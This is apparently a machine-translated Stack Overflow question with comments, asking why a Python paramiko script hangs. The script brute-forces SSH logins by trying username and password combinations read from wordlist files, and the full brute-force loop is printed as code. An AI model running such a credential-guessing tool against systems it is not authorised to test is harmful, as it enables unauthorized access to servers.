У меня есть SSH-сервер, в котором я тестировал скрипт, который использует атаки на основе словаря. Как правило, я использую одно имя пользователя: файл комбинации паролей и прокручиваю его, но в последнее время я решил изменить свой сценарий хобби, чтобы разрешить отдельные комбинации имени пользователя и пароля. Я решил, что это будет простой вложенный цикл (я решил хранить пароли в списке вместо файла, который я использую для имен пользователей). К сожалению, добавление второго цикла, по-видимому, вызвало зависание программы по какой-то причине, которую я просто не могу определить. Я чувствую, что мне не хватает чего-то невероятно очевидного здесь. Программа выполняется нормально и работает так, как ожидалось, но она никогда не возвращается на самом деле ... скрипт просто зависает после нахождения правильной комбинации и никогда не выходит из строя ... Я должен закончить его вручную. Оскорбительный блок ниже ... это часть более крупного метода внутри класса, который я вызываю из моего основного скрипта. Вызывается метод, а затем главный скрипт просто выходит, поэтому нет ничего, что могло бы вызвать это.Сценарий Python, кажется, висит
with open(self.pwds) as p:
pwords = p.read().splitlines()
try:
format_text = colored('WARNING', 'yellow', attrs=['underline'])
except:
format_text = "WARNING"
print (format_text, "warning_message")
with open(self.words) as w:
for line in w:
line = line.replace("\n", "")
user = line
for x in pwords:
passw = x
print ("Trying: ", user, ":", passw)
s = paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
s.connect(self.target, username=user, password=passw, timeout=3)
except paramiko.ssh_exception.AuthenticationException:
try:
format_text = colored('FAILED', 'red')
except:
format_text = 'FAILED'
print (format_text)
else:
print ("SUCCESS!")
s.close()
return;
Единственный сценарий, который я вижу, в котором единственный оператор return, который мы видим, не будет выполнен, заключается в том, что 'self.words' или' self.pwds' указывает на пустой файл. –
Они этого не делают и никогда не делают. Я действительно царапаю себе голову, особенно потому, что он отлично работает и прекрасно заканчивается без внутреннего цикла. –
Попробуйте использовать pdb. У этого вопроса, к сожалению, недостаточно информации для нас, чтобы иметь возможность ответить на него. –